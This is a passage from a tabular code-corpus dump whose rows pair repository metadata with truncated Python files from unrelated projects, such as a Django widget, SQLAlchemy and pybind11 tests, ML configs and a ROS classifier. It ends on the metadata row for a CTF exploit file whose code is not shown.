] | 74 | 2019-10-22T02:00:53.000Z | 2022-03-15T12:56:13.000Z | Apps/phnetskope/__init__.py | mattsayar-splunk/phantom-apps | b719b78ded609ae3cbd62d7d2cc317db1a613d3b | [
"Apache-2.0"
] | 375 | 2019-10-22T20:53:50.000Z | 2021-11-09T21:28:43.000Z | Apps/phnetskope/__init__.py | mattsayar-splunk/phantom-apps | b719b78ded609ae3cbd62d7d2cc317db1a613d3b | [
"Apache-2.0"
] | 175 | 2019-10-23T15:30:42.000Z | 2021-11-05T21:33:31.000Z | # File: __init__.py
# Copyright (c) 2018-2020 Splunk Inc.
#
# Licensed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0.txt)
pass
| 20.571429 | 77 | 0.715278 |
pass
| true | true |
1c490edf4882c5f80d01f803ed6fbaf91e301788 | 1,662 | py | Python | vendor-local/lib/python/easy_thumbnails/widgets.py | Koenkk/popcorn_maker | 0978b9f98dacd4e8eb753404b24eb584f410aa11 | [
"BSD-3-Clause"
] | 15 | 2015-03-23T02:55:20.000Z | 2021-01-12T12:42:30.000Z | vendor-local/lib/python/easy_thumbnails/widgets.py | Koenkk/popcorn_maker | 0978b9f98dacd4e8eb753404b24eb584f410aa11 | [
"BSD-3-Clause"
] | null | null | null | vendor-local/lib/python/easy_thumbnails/widgets.py | Koenkk/popcorn_maker | 0978b9f98dacd4e8eb753404b24eb584f410aa11 | [
"BSD-3-Clause"
] | 16 | 2015-02-18T21:43:31.000Z | 2021-11-09T22:50:03.000Z | from django.forms.widgets import ClearableFileInput
from django.utils.safestring import mark_safe
from easy_thumbnails.files import get_thumbnailer
class ImageClearableFileInput(ClearableFileInput):
template_with_initial = u'%(clear_template)s<br />'\
u'%(input_text)s: %(input)s'
template_with_thumbna... | 40.536585 | 80 | 0.6787 | from django.forms.widgets import ClearableFileInput
from django.utils.safestring import mark_safe
from easy_thumbnails.files import get_thumbnailer
class ImageClearableFileInput(ClearableFileInput):
template_with_initial = u'%(clear_template)s<br />'\
u'%(input_text)s: %(input)s'
template_with_thumbna... | true | true |
1c490f1a380aadc639c7edc04e2cbf4c82624fbb | 1,706 | py | Python | ignite/contrib/metrics/regression/median_absolute_error.py | MinjaMiladinovic/ignite | 007d320150fa915d7ac8757ddb586aaa9c427682 | [
"BSD-3-Clause"
] | null | null | null | ignite/contrib/metrics/regression/median_absolute_error.py | MinjaMiladinovic/ignite | 007d320150fa915d7ac8757ddb586aaa9c427682 | [
"BSD-3-Clause"
] | null | null | null | ignite/contrib/metrics/regression/median_absolute_error.py | MinjaMiladinovic/ignite | 007d320150fa915d7ac8757ddb586aaa9c427682 | [
"BSD-3-Clause"
] | null | null | null | from typing import Callable
import torch
from ignite.contrib.metrics.regression._base import _BaseRegressionEpoch
def median_absolute_error_compute_fn(y_pred: torch.Tensor, y: torch.Tensor) -> float:
e = torch.abs(y.view_as(y_pred) - y_pred)
return torch.median(e).item()
class MedianAbsoluteError(_BaseReg... | 38.772727 | 113 | 0.679367 | from typing import Callable
import torch
from ignite.contrib.metrics.regression._base import _BaseRegressionEpoch
def median_absolute_error_compute_fn(y_pred: torch.Tensor, y: torch.Tensor) -> float:
e = torch.abs(y.view_as(y_pred) - y_pred)
return torch.median(e).item()
class MedianAbsoluteError(_BaseReg... | true | true |
1c490f47c60297228bf1fa9cffdab0f6612b2215 | 15,337 | py | Python | cpa/tests/testdbconnect.py | DavidStirling/CellProfiler-Analyst | 7a0bfcb5cc7db067844595bdbb90f3132f9a8ea9 | [
"MIT"
] | 98 | 2015-02-05T18:22:04.000Z | 2022-03-29T12:06:48.000Z | cpa/tests/testdbconnect.py | DavidStirling/CellProfiler-Analyst | 7a0bfcb5cc7db067844595bdbb90f3132f9a8ea9 | [
"MIT"
] | 268 | 2015-01-14T15:43:24.000Z | 2022-02-13T22:04:37.000Z | cpa/tests/testdbconnect.py | DavidStirling/CellProfiler-Analyst | 7a0bfcb5cc7db067844595bdbb90f3132f9a8ea9 | [
"MIT"
] | 64 | 2015-06-30T22:26:03.000Z | 2022-03-11T01:06:13.000Z |
import unittest
from cpa.dbconnect import *
from cpa.properties import Properties
class TestDBConnect(unittest.TestCase):
def setup_mysql(self):
self.p = Properties()
self.db = DBConnect()
self.db.Disconnect()
self.p.LoadFile('../../CPAnalyst_test_data/nirht_test.properties')
... | 54.386525 | 1,009 | 0.637413 |
import unittest
from cpa.dbconnect import *
from cpa.properties import Properties
class TestDBConnect(unittest.TestCase):
def setup_mysql(self):
self.p = Properties()
self.db = DBConnect()
self.db.Disconnect()
self.p.LoadFile('../../CPAnalyst_test_data/nirht_test.properties')
... | true | true |
1c490fef6fa62645dca9cb9109b50fc4d89a7c7c | 12,196 | py | Python | nlbaas2octavia_lb_replicator/manager.py | johanssone/nlbaas2octavia-lb-replicator | 3b49d48132c172d8b6c8d3ec529da0bc224788cb | [
"Apache-2.0"
] | null | null | null | nlbaas2octavia_lb_replicator/manager.py | johanssone/nlbaas2octavia-lb-replicator | 3b49d48132c172d8b6c8d3ec529da0bc224788cb | [
"Apache-2.0"
] | null | null | null | nlbaas2octavia_lb_replicator/manager.py | johanssone/nlbaas2octavia-lb-replicator | 3b49d48132c172d8b6c8d3ec529da0bc224788cb | [
"Apache-2.0"
] | null | null | null | # Copyright 2019 Nir Magnezi
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed... | 40.384106 | 90 | 0.589866 | import json
import neutronclient
from pprint import pprint
from nlbaas2octavia_lb_replicator.common import os_clients
from nlbaas2octavia_lb_replicator.common import utils
class Manager(object):
def __init__(self, lb_id):
self.os_clients = os_clients.OpenStackClients()
self._lb_id = lb_id
... | true | true |
1c4910927a53cf04a6f0417f5960276458b1c42a | 8,047 | py | Python | tests/components/sensor/test_rest.py | loraxx753/skynet | 86a1b0a6c6a3f81bc92d4f61de6a9a6b9f964543 | [
"Apache-2.0"
] | 1 | 2021-01-02T14:13:46.000Z | 2021-01-02T14:13:46.000Z | tests/components/sensor/test_rest.py | bytebility/home-assistant | 6015274ee2486f797fd6ee8f5f2074a601953e03 | [
"MIT"
] | 1 | 2017-03-10T22:17:06.000Z | 2017-03-10T22:17:06.000Z | tests/components/sensor/test_rest.py | bytebility/home-assistant | 6015274ee2486f797fd6ee8f5f2074a601953e03 | [
"MIT"
] | 2 | 2018-06-03T11:14:44.000Z | 2018-11-04T18:18:12.000Z | """The tests for the REST switch platform."""
import unittest
from unittest.mock import patch, Mock
import requests
from requests.exceptions import Timeout, MissingSchema, RequestException
import requests_mock
from homeassistant.bootstrap import setup_component
import homeassistant.components.sensor as sensor
import ... | 38.319048 | 79 | 0.58643 | import unittest
from unittest.mock import patch, Mock
import requests
from requests.exceptions import Timeout, MissingSchema, RequestException
import requests_mock
from homeassistant.bootstrap import setup_component
import homeassistant.components.sensor as sensor
import homeassistant.components.sensor.rest as rest
f... | true | true |
1c4911bff2f56abbbc4f11c72c3e927e4d9f64ad | 7,231 | py | Python | hydrogels/reactions/structural.py | debeshmandal/hydrogels | 3ca065c21ae834ab350f9fae78cee611f945d853 | [
"MIT"
] | 3 | 2020-05-13T01:07:30.000Z | 2021-02-12T13:37:23.000Z | hydrogels/reactions/structural.py | debeshmandal/hydrogels | 3ca065c21ae834ab350f9fae78cee611f945d853 | [
"MIT"
] | 24 | 2020-06-04T13:48:57.000Z | 2021-12-31T18:46:52.000Z | hydrogels/reactions/structural.py | debeshmandal/hydrogels | 3ca065c21ae834ab350f9fae78cee611f945d853 | [
"MIT"
] | 1 | 2020-07-23T17:15:23.000Z | 2020-07-23T17:15:23.000Z | #!/usr/bin/env python
"""Contains structural reaction classes for use in ReaDDy to declare
structural topology reactions
Classes:
BondBreaking: container for bond breaking schemes
"""
from typing import Callable
import readdy
from softnanotools.logger import Logger
logger = Logger(__name__)
class StructuralReac... | 36.336683 | 79 | 0.628544 |
from typing import Callable
import readdy
from softnanotools.logger import Logger
logger = Logger(__name__)
class StructuralReaction:
def __init__(
self,
reaction_function,
name: str = 'reaction',
topology_type: str = 'molecule',
rate_function: Callable = lambda x: 10000.0... | true | true |
1c491211333554359546b998ef9c6268840541d5 | 487 | py | Python | setup.py | cemsbv/pygef | e83811744328778bbfc808424121bbf3a64e3ff1 | [
"MIT"
] | 3 | 2021-11-10T09:44:01.000Z | 2022-02-01T07:55:03.000Z | setup.py | cemsbv/pygef | e83811744328778bbfc808424121bbf3a64e3ff1 | [
"MIT"
] | 79 | 2021-10-11T13:40:12.000Z | 2022-03-31T10:26:47.000Z | setup.py | cemsbv/pygef | e83811744328778bbfc808424121bbf3a64e3ff1 | [
"MIT"
] | 4 | 2021-11-25T13:38:30.000Z | 2022-02-18T10:27:58.000Z | from setuptools import setup
exec(open("pygef/_version.py").read())
setup(
name="pygef",
version=__version__,
author="Ritchie Vink",
author_email="ritchie46@gmail.com",
url="https://github.com/cemsbv/pygef",
license="mit",
packages=["pygef", "pygef.been_jefferies", "pygef.robertson"],
... | 23.190476 | 66 | 0.616016 | from setuptools import setup
exec(open("pygef/_version.py").read())
setup(
name="pygef",
version=__version__,
author="Ritchie Vink",
author_email="ritchie46@gmail.com",
url="https://github.com/cemsbv/pygef",
license="mit",
packages=["pygef", "pygef.been_jefferies", "pygef.robertson"],
... | true | true |
1c4912ab3403b34e11296fdf8cb4133a2a11c301 | 9,071 | py | Python | convert2otbn.py | felixmiller/ot-dsim | 1d33f9cac6565b85691cd905b1eb195b341ec3d2 | [
"Apache-2.0"
] | null | null | null | convert2otbn.py | felixmiller/ot-dsim | 1d33f9cac6565b85691cd905b1eb195b341ec3d2 | [
"Apache-2.0"
] | null | null | null | convert2otbn.py | felixmiller/ot-dsim | 1d33f9cac6565b85691cd905b1eb195b341ec3d2 | [
"Apache-2.0"
] | 1 | 2020-07-24T06:52:36.000Z | 2020-07-24T06:52:36.000Z | # Copyright lowRISC contributors.
# Licensed under the Apache License, Version 2.0, see LICENSE for details.
# SPDX-License-Identifier: Apache-2.0
import argparse
import logging
from bignum_lib.sim_helpers import ins_objects_from_asm_file
from bignum_lib.disassembler import Disassembler
from bignum_lib.instructions im... | 46.757732 | 141 | 0.598721 |
import argparse
import logging
from bignum_lib.sim_helpers import ins_objects_from_asm_file
from bignum_lib.disassembler import Disassembler
from bignum_lib.instructions import ILoop
from bignum_lib.instructions_ot import IOtLoop
from bignum_lib.instructions_ot import IOtLoopi
from bignum_lib.instructions_ot import IO... | true | true |
1c49155e219f958afd05634099aa9374b7bc263b | 3,163 | py | Python | neural_process/anp.py | revsic/tf-attentive-neural-process | efa3bb0a9b6cfebaa3c1e025a9da00aef8d0a1e2 | [
"MIT"
] | 4 | 2020-08-30T14:20:05.000Z | 2021-03-23T12:53:27.000Z | neural_process/anp.py | revsic/tf-attentive-neural-process | efa3bb0a9b6cfebaa3c1e025a9da00aef8d0a1e2 | [
"MIT"
] | null | null | null | neural_process/anp.py | revsic/tf-attentive-neural-process | efa3bb0a9b6cfebaa3c1e025a9da00aef8d0a1e2 | [
"MIT"
] | 4 | 2020-03-23T06:34:49.000Z | 2021-10-25T23:57:24.000Z | import numpy as np
import tensorflow as tf
import tensorflow_probability as tfp
from neural_process.module.base import Encoder, Decoder, GaussianProb
class AttentiveNP:
"""Attentive Neural Process
Attributes:
z_encoder: Encoder, encoder for latent representation
z_prob: GaussianProb, latent re... | 41.077922 | 95 | 0.649067 | import numpy as np
import tensorflow as tf
import tensorflow_probability as tfp
from neural_process.module.base import Encoder, Decoder, GaussianProb
class AttentiveNP:
def __init__(self,
z_output_sizes,
enc_output_sizes,
cross_output_sizes,
dec_... | true | true |
1c4917dd6991f237429f66925e799b5c8528dfaf | 267 | py | Python | setup.py | caseyjlaw/vlass | f8c39401eb247f86e6bfc213133a2fd3c09ac34a | [
"BSD-3-Clause"
] | 1 | 2018-07-31T09:50:27.000Z | 2018-07-31T09:50:27.000Z | setup.py | caseyjlaw/vlass | f8c39401eb247f86e6bfc213133a2fd3c09ac34a | [
"BSD-3-Clause"
] | null | null | null | setup.py | caseyjlaw/vlass | f8c39401eb247f86e6bfc213133a2fd3c09ac34a | [
"BSD-3-Clause"
] | 1 | 2016-07-30T01:13:57.000Z | 2016-07-30T01:13:57.000Z | from setuptools import setup
from version import get_git_version
setup(name='vlass_tools',
version=get_git_version(),
url='http://github.com/caseyjlaw/vlass',
packages=['vlass_tools'],
requirements=['astropy', 'numpy'],
zip_safe=False)
| 26.7 | 46 | 0.692884 | from setuptools import setup
from version import get_git_version
setup(name='vlass_tools',
version=get_git_version(),
url='http://github.com/caseyjlaw/vlass',
packages=['vlass_tools'],
requirements=['astropy', 'numpy'],
zip_safe=False)
| true | true |
1c491839af56bb218361d4029760d306639504fe | 3,521 | py | Python | configs/category_attribute_predict/global_predictor_vgg.py | engahmed1190/mmfashion | 34ba2d8a9f2daadb4a04d24287664cebde4b14f9 | [
"Apache-2.0"
] | 3 | 2021-01-17T14:42:38.000Z | 2022-02-27T10:31:46.000Z | configs/category_attribute_predict/global_predictor_vgg.py | engahmed1190/mmfashion | 34ba2d8a9f2daadb4a04d24287664cebde4b14f9 | [
"Apache-2.0"
] | null | null | null | configs/category_attribute_predict/global_predictor_vgg.py | engahmed1190/mmfashion | 34ba2d8a9f2daadb4a04d24287664cebde4b14f9 | [
"Apache-2.0"
] | null | null | null | import os
# model settings
arch = 'vgg'
attribute_num = 26 # num of attributes
category_num = 50 # num of categories
img_size = (224, 224)
model = dict(
type='GlobalAttrCatePredictor',
backbone=dict(type='Vgg', layer_setting='vgg16'),
global_pool=dict(
type='GlobalPooling',
inplanes=(7, ... | 32.302752 | 85 | 0.653792 | import os
arch = 'vgg'
attribute_num = 26 category_num = 50 img_size = (224, 224)
model = dict(
type='GlobalAttrCatePredictor',
backbone=dict(type='Vgg', layer_setting='vgg16'),
global_pool=dict(
type='GlobalPooling',
inplanes=(7, 7),
pool_plane=(2, 2),
inter_channels=[51... | true | true |
1c491924d7962d7070b22ad2af38acb504012f7b | 4,120 | py | Python | ros/src/tl_detector/light_classification/tl_classifierNN.py | Spinch/CarND-Capstone | 7e507df9f1cc72c76514907464ca9ca3d3ac9e85 | [
"MIT"
] | 1 | 2018-12-03T18:21:44.000Z | 2018-12-03T18:21:44.000Z | ros/src/tl_detector/light_classification/tl_classifierNN.py | Spinch/CarND-Capstone | 7e507df9f1cc72c76514907464ca9ca3d3ac9e85 | [
"MIT"
] | 1 | 2018-11-26T14:04:29.000Z | 2018-11-26T14:04:29.000Z | ros/src/tl_detector/light_classification/tl_classifierNN.py | Spinch/CarND-Capstone | 7e507df9f1cc72c76514907464ca9ca3d3ac9e85 | [
"MIT"
] | 2 | 2018-11-25T21:07:28.000Z | 2018-11-26T13:34:09.000Z |
import rospy
import cv2
import numpy as np
from styx_msgs.msg import TrafficLight
from darknet_ros_msgs.msg import BoundingBoxes
class TLClassifierNN(object):
def __init__(self):
#TODO load classifier
self.lastBBox = [[0, 0], [0, 0]]
self.lastBBoxT = rospy.get_time()
def get_classific... | 40.792079 | 120 | 0.602913 |
import rospy
import cv2
import numpy as np
from styx_msgs.msg import TrafficLight
from darknet_ros_msgs.msg import BoundingBoxes
class TLClassifierNN(object):
def __init__(self):
self.lastBBox = [[0, 0], [0, 0]]
self.lastBBoxT = rospy.get_time()
def get_classification(self, image):
... | true | true |
1c491965ebf5eabe4b86a82bc3deb1452f0648ec | 127 | py | Python | tests/unit/test_base.py | mballance/pyrctgen | eb47ed2039d36ab236b63e795b313feb499820bd | [
"Apache-2.0"
] | 1 | 2022-03-10T04:12:11.000Z | 2022-03-10T04:12:11.000Z | tests/unit/test_base.py | mballance/pyrctgen | eb47ed2039d36ab236b63e795b313feb499820bd | [
"Apache-2.0"
] | null | null | null | tests/unit/test_base.py | mballance/pyrctgen | eb47ed2039d36ab236b63e795b313feb499820bd | [
"Apache-2.0"
] | null | null | null | '''
Created on Mar 19, 2022
@author: mballance
'''
from unittest.case import TestCase
class TestBase(TestCase):
pass | 12.7 | 34 | 0.692913 | from unittest.case import TestCase
class TestBase(TestCase):
pass | true | true |
1c491a219a3d6263ac2dc3e19499b0883225791f | 634 | py | Python | autotab.py | naveenapius/autotab | 2f37fef748bde755de2e9aba6a51508809cd9a93 | [
"MIT"
] | null | null | null | autotab.py | naveenapius/autotab | 2f37fef748bde755de2e9aba6a51508809cd9a93 | [
"MIT"
] | null | null | null | autotab.py | naveenapius/autotab | 2f37fef748bde755de2e9aba6a51508809cd9a93 | [
"MIT"
] | null | null | null | import webbrowser as wb
browser = None #change this to your desired browser, or else default browser will be used
w = wb.get(using=browser)
try:
with open('sitelist.txt') as f: #opens sitelist for parsing
site_list = f.readlines()
try:
first_site = site_list[0]
w.open(first_site, new... | 33.368421 | 90 | 0.679811 | import webbrowser as wb
browser = None w = wb.get(using=browser)
try:
with open('sitelist.txt') as f: site_list = f.readlines()
try:
first_site = site_list[0]
w.open(first_site, new=1) except:
print("Site list is empty. Add some sites to open :)")
for i in site_list[1... | true | true |
1c491a6881513f092499a32cda67c05701811890 | 1,775 | py | Python | syspy/tests/test_shell.py | mrgarelli/PySys | f5e61b01ab43525b66f104ef3140b6d1c68e2ebc | [
"MIT"
] | 1 | 2019-09-02T17:18:26.000Z | 2019-09-02T17:18:26.000Z | syspy/tests/test_shell.py | mrgarelli/PySys | f5e61b01ab43525b66f104ef3140b6d1c68e2ebc | [
"MIT"
] | null | null | null | syspy/tests/test_shell.py | mrgarelli/PySys | f5e61b01ab43525b66f104ef3140b6d1c68e2ebc | [
"MIT"
] | null | null | null | import pytest
from mock import patch
from mock.mock import Mock
call = Mock()
from ..shell import Shell
sh = Shell()
def setup_module(module):
pass
@patch('syspy.shell.os.rename')
def test_moving_a_file(mock_rename):
sh.mv('ex.txt', 'example')
mock_rename.assert_called_with('ex.txt', 'example')
@patch('sys... | 28.629032 | 90 | 0.729577 | import pytest
from mock import patch
from mock.mock import Mock
call = Mock()
from ..shell import Shell
sh = Shell()
def setup_module(module):
pass
@patch('syspy.shell.os.rename')
def test_moving_a_file(mock_rename):
sh.mv('ex.txt', 'example')
mock_rename.assert_called_with('ex.txt', 'example')
@patch('sys... | true | true |
1c491aaaab3a0c1e9e4b5ef4ecb72261a1b51700 | 11,343 | py | Python | src/libs/pybind/tests/test_virtual_functions.py | arttnba3/ICTFE | b371ba91e3b8a203997fca5e07c052bbfad10d1d | [
"MIT"
] | 37 | 2020-03-26T10:15:59.000Z | 2020-05-25T16:57:29.000Z | src/libs/pybind/tests/test_virtual_functions.py | arttnba3/ICTFE | b371ba91e3b8a203997fca5e07c052bbfad10d1d | [
"MIT"
] | 2 | 2020-05-30T12:31:47.000Z | 2020-07-30T17:09:41.000Z | src/libs/pybind/tests/test_virtual_functions.py | arttnba3/ICTFE | b371ba91e3b8a203997fca5e07c052bbfad10d1d | [
"MIT"
] | 4 | 2020-03-29T18:12:16.000Z | 2020-05-17T01:15:23.000Z | import pytest
from pybind11_tests import virtual_functions as m
from pybind11_tests import ConstructorStats
def test_override(capture, msg):
class ExtendedExampleVirt(m.ExampleVirt):
def __init__(self, state):
super(ExtendedExampleVirt, self).__init__(state + 1)
self.data = "Hello... | 29.771654 | 103 | 0.605572 | import pytest
from pybind11_tests import virtual_functions as m
from pybind11_tests import ConstructorStats
def test_override(capture, msg):
class ExtendedExampleVirt(m.ExampleVirt):
def __init__(self, state):
super(ExtendedExampleVirt, self).__init__(state + 1)
self.data = "Hello... | true | true |
1c491aaecf3820639d4577824689582c9c1e2b3d | 9,122 | py | Python | dependencies/panda/Panda3D-1.10.0-x64/direct/fsm/FourStateAI.py | CrankySupertoon01/Toontown-2 | 60893d104528a8e7eb4aced5d0015f22e203466d | [
"MIT"
] | 1 | 2021-02-13T22:40:50.000Z | 2021-02-13T22:40:50.000Z | dependencies/panda/Panda3D-1.10.0-x64/direct/fsm/FourStateAI.py | CrankySupertoonArchive/Toontown-2 | 60893d104528a8e7eb4aced5d0015f22e203466d | [
"MIT"
] | 1 | 2018-07-28T20:07:04.000Z | 2018-07-30T18:28:34.000Z | dependencies/panda/Panda3D-1.10.0-x64/direct/fsm/FourStateAI.py | CrankySupertoonArchive/Toontown-2 | 60893d104528a8e7eb4aced5d0015f22e203466d | [
"MIT"
] | 2 | 2019-12-02T01:39:10.000Z | 2021-02-13T22:41:00.000Z | """Undocumented Module"""
__all__ = ['FourStateAI']
from direct.directnotify import DirectNotifyGlobal
#import DistributedObjectAI
import ClassicFSM
import State
from direct.task import Task
class FourStateAI:
"""
Generic four state ClassicFSM base class.
This is a mix-in class that expects that ... | 33.050725 | 107 | 0.484652 |
__all__ = ['FourStateAI']
from direct.directnotify import DirectNotifyGlobal
import ClassicFSM
import State
from direct.task import Task
class FourStateAI:
notify = DirectNotifyGlobal.directNotify.newCategory('FourStateAI')
def __init__(self, names, durations = [0, 1, None, 1, 1]):
self.stateInde... | true | true |
1c491ab6c233c3d0fde8e8f78bc978736494bc63 | 4,635 | py | Python | 3 experiments_confidence/batch/e2 (experiment and chance scores) (sva).py | nmningmei/metacognition | 734082e247cc7fc9d277563e2676e10692617a3f | [
"MIT"
] | 3 | 2019-07-09T15:37:46.000Z | 2019-07-17T16:28:02.000Z | 3 experiments_confidence/batch/e2 (experiment and chance scores) (sva).py | nmningmei/metacognition | 734082e247cc7fc9d277563e2676e10692617a3f | [
"MIT"
] | null | null | null | 3 experiments_confidence/batch/e2 (experiment and chance scores) (sva).py | nmningmei/metacognition | 734082e247cc7fc9d277563e2676e10692617a3f | [
"MIT"
] | null | null | null | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Mon Nov 12 16:07:58 2018
@author: nmei
in exp2 (e2) there were 3 possible awareness ratings ( (e.g. 1- no experience, 2 brief glimpse 3 almost clear or clear perception)
BUT if can make a binary classification by focussing on 1 and 2 which are the majority... | 31.965517 | 159 | 0.408846 | if __name__ == '__main__':
import os
import pandas as pd
import numpy as np
import utils
dir_saving = 'results_e2'
if not os.path.exists(dir_saving):
os.mkdir(dir_saving)
try: df1 = pd.read_csv('e2.csv').iloc[:,1:]
except: df1 = pd.rea... | true | true |
1c491afc51f17dc03bb931dc49f52fe76e38b519 | 84 | py | Python | python/src/test/resources/pyfunc/numpy_random12_test.py | maropu/lljvm-translator | 322fbe24a27976948c8e8081a9552152dda58b4b | [
"Apache-2.0"
] | 70 | 2017-12-12T10:54:00.000Z | 2022-03-22T07:45:19.000Z | python/src/test/resources/pyfunc/numpy_random12_test.py | maropu/lljvm-as | 322fbe24a27976948c8e8081a9552152dda58b4b | [
"Apache-2.0"
] | 14 | 2018-02-28T01:29:46.000Z | 2019-12-10T01:42:22.000Z | python/src/test/resources/pyfunc/numpy_random12_test.py | maropu/lljvm-as | 322fbe24a27976948c8e8081a9552152dda58b4b | [
"Apache-2.0"
] | 4 | 2019-07-21T07:58:25.000Z | 2021-02-01T09:46:59.000Z | import numpy as np
def numpy_random12_test(n):
return np.random.random_sample(n)
| 16.8 | 35 | 0.785714 | import numpy as np
def numpy_random12_test(n):
return np.random.random_sample(n)
| true | true |
1c491cd25b535c646b407c2dfd699502dec5cea3 | 2,152 | py | Python | test/test_multivariablePolynomialFit_Function.py | ZachMontgomery/PolyFits | 0634bcd3a24b12a22b566a0c134cddf733d28641 | [
"MIT"
] | null | null | null | test/test_multivariablePolynomialFit_Function.py | ZachMontgomery/PolyFits | 0634bcd3a24b12a22b566a0c134cddf733d28641 | [
"MIT"
] | null | null | null | test/test_multivariablePolynomialFit_Function.py | ZachMontgomery/PolyFits | 0634bcd3a24b12a22b566a0c134cddf733d28641 | [
"MIT"
] | null | null | null | import numpy as np
import polyFits as pf
import json
fn = './test/'
f = open(fn+'database.txt', 'r')
database = f.readlines()
f.close()
aoa, dp, cl, cd, cm = [], [], [], [], []
for line in database[1:]:
aoa.append( float( line[ 8: 25] ) )
dp.append( float( line[ 34: 51] ) )
cl.append( float( line[ 60: ... | 26.243902 | 109 | 0.605019 | import numpy as np
import polyFits as pf
import json
fn = './test/'
f = open(fn+'database.txt', 'r')
database = f.readlines()
f.close()
aoa, dp, cl, cd, cm = [], [], [], [], []
for line in database[1:]:
aoa.append( float( line[ 8: 25] ) )
dp.append( float( line[ 34: 51] ) )
cl.append( float( line[ 60: ... | true | true |
1c491ddc1083a7330a21f38ee5180e48205db0d8 | 5,606 | py | Python | vidbench/data/process.py | melaniebeck/video-classification | eeb879605f8265ce28a007d5239f0e85aeed0719 | [
"Apache-2.0"
] | 2 | 2022-02-11T20:49:44.000Z | 2022-02-25T14:52:42.000Z | vidbench/data/process.py | melaniebeck/video-classification | eeb879605f8265ce28a007d5239f0e85aeed0719 | [
"Apache-2.0"
] | 2 | 2022-01-05T22:59:30.000Z | 2022-01-24T19:39:49.000Z | vidbench/data/process.py | isabella232/CML_AMP_Video_Classification | 145eb44ac70e7669a706d5f67914a7d28fd931fe | [
"Apache-2.0"
] | 1 | 2022-03-07T18:23:59.000Z | 2022-03-07T18:23:59.000Z | # ###########################################################################
#
# CLOUDERA APPLIED MACHINE LEARNING PROTOTYPE (AMP)
# (C) Cloudera, Inc. 2021
# All rights reserved.
#
# Applicable Open Source License: Apache 2.0
#
# NOTE: Cloudera open source products are modular software products
# made up of hun... | 39.758865 | 86 | 0.665715 |
import cv2
import imageio
import numpy as np
import pathlib
from tensorflow_docs.vis import embed
def crop_center_square(frame):
y, x = frame.shape[0:2]
min_dim = min(y, x)
start_x = (x // 2) - (min_dim // 2)
start_y = (y // 2) - (min_dim // 2)
return frame[start_y : start_y + min_dim, start_x : ... | true | true |
1c491e75f6745580f6f9854e23a8cb08a7146e21 | 15,242 | py | Python | test/orm/test_validators.py | ricardogferreira/sqlalchemy | fec2b6560c14bb28ee7fc9d21028844acf700b04 | [
"MIT"
] | 5,383 | 2018-11-27T07:34:03.000Z | 2022-03-31T19:40:59.000Z | test/orm/test_validators.py | ricardogferreira/sqlalchemy | fec2b6560c14bb28ee7fc9d21028844acf700b04 | [
"MIT"
] | 2,719 | 2018-11-27T07:55:01.000Z | 2022-03-31T22:09:44.000Z | test/orm/test_validators.py | ricardogferreira/sqlalchemy | fec2b6560c14bb28ee7fc9d21028844acf700b04 | [
"MIT"
] | 1,056 | 2015-01-03T00:30:17.000Z | 2022-03-15T12:56:24.000Z | from sqlalchemy import exc
from sqlalchemy.orm import collections
from sqlalchemy.orm import relationship
from sqlalchemy.orm import validates
from sqlalchemy.testing import assert_raises
from sqlalchemy.testing import assert_raises_message
from sqlalchemy.testing import eq_
from sqlalchemy.testing import fixtures
from... | 33.498901 | 79 | 0.50328 | from sqlalchemy import exc
from sqlalchemy.orm import collections
from sqlalchemy.orm import relationship
from sqlalchemy.orm import validates
from sqlalchemy.testing import assert_raises
from sqlalchemy.testing import assert_raises_message
from sqlalchemy.testing import eq_
from sqlalchemy.testing import fixtures
from... | true | true |
1c491ed6f81ab3f1238484940ba63ee8a71c9b5d | 180 | py | Python | application/prophasis_agent/prophasis_agent/plugin_repo/memory_usage/memory_usage.py | camerongray1515/temp | 80639026992172166b7992b209f1694ca792d2df | [
"BSD-2-Clause"
] | 1 | 2016-05-14T19:58:17.000Z | 2016-05-14T19:58:17.000Z | application/prophasis_agent/prophasis_agent/plugin_repo/memory_usage/memory_usage.py | camerongray1515/temp | 80639026992172166b7992b209f1694ca792d2df | [
"BSD-2-Clause"
] | 62 | 2016-05-24T19:43:45.000Z | 2016-05-25T15:16:34.000Z | application/prophasis_agent/prophasis_agent/plugin_repo/memory_usage/memory_usage.py | camerongray1515/temp | 80639026992172166b7992b209f1694ca792d2df | [
"BSD-2-Clause"
] | 1 | 2019-10-17T16:06:55.000Z | 2019-10-17T16:06:55.000Z | import psutil
from plugin import PluginInterface, PluginResult
class Plugin(PluginInterface):
def get_data(self):
return PluginResult(psutil.virtual_memory().percent)
| 25.714286 | 60 | 0.783333 | import psutil
from plugin import PluginInterface, PluginResult
class Plugin(PluginInterface):
def get_data(self):
return PluginResult(psutil.virtual_memory().percent)
| true | true |
1c491edab6995691581b78f5c7a45713e71bc4ed | 2,345 | py | Python | pcdet/datasets/augmentor/augmentor_utils.py | Gltina/OpenPCDet | e32dc7f8f903a3f0e1c93effc68d74dbe16766e2 | [
"Apache-2.0"
] | 205 | 2021-03-23T20:17:42.000Z | 2022-03-30T14:32:41.000Z | pcdet/datasets/augmentor/augmentor_utils.py | Gltina/OpenPCDet | e32dc7f8f903a3f0e1c93effc68d74dbe16766e2 | [
"Apache-2.0"
] | 83 | 2021-03-24T05:22:28.000Z | 2022-03-28T13:44:09.000Z | pcdet/datasets/augmentor/augmentor_utils.py | Gltina/OpenPCDet | e32dc7f8f903a3f0e1c93effc68d74dbe16766e2 | [
"Apache-2.0"
] | 38 | 2021-03-25T08:52:34.000Z | 2022-03-30T14:37:40.000Z | import numpy as np
from ...utils import common_utils
def random_flip_along_x(gt_boxes, points):
"""
Args:
gt_boxes: (N, 7 + C), [x, y, z, dx, dy, dz, heading, [vx], [vy]]
points: (M, 3 + C)
Returns:
"""
enable = np.random.choice([False, True], replace=False, p=[0.5, 0.5])
if e... | 29.683544 | 118 | 0.550959 | import numpy as np
from ...utils import common_utils
def random_flip_along_x(gt_boxes, points):
enable = np.random.choice([False, True], replace=False, p=[0.5, 0.5])
if enable:
gt_boxes[:, 1] = -gt_boxes[:, 1]
gt_boxes[:, 6] = -gt_boxes[:, 6]
points[:, 1] = -points[:, 1]
if g... | true | true |
1c491f2fa9db695df7ef78843cf977a3619822a0 | 835 | py | Python | utctf2020/zurk/exploit.py | nhtri2003gmail/ctf-write-ups | 7e969c47027c39b614e10739ae3a953eed17dfa3 | [
"MIT"
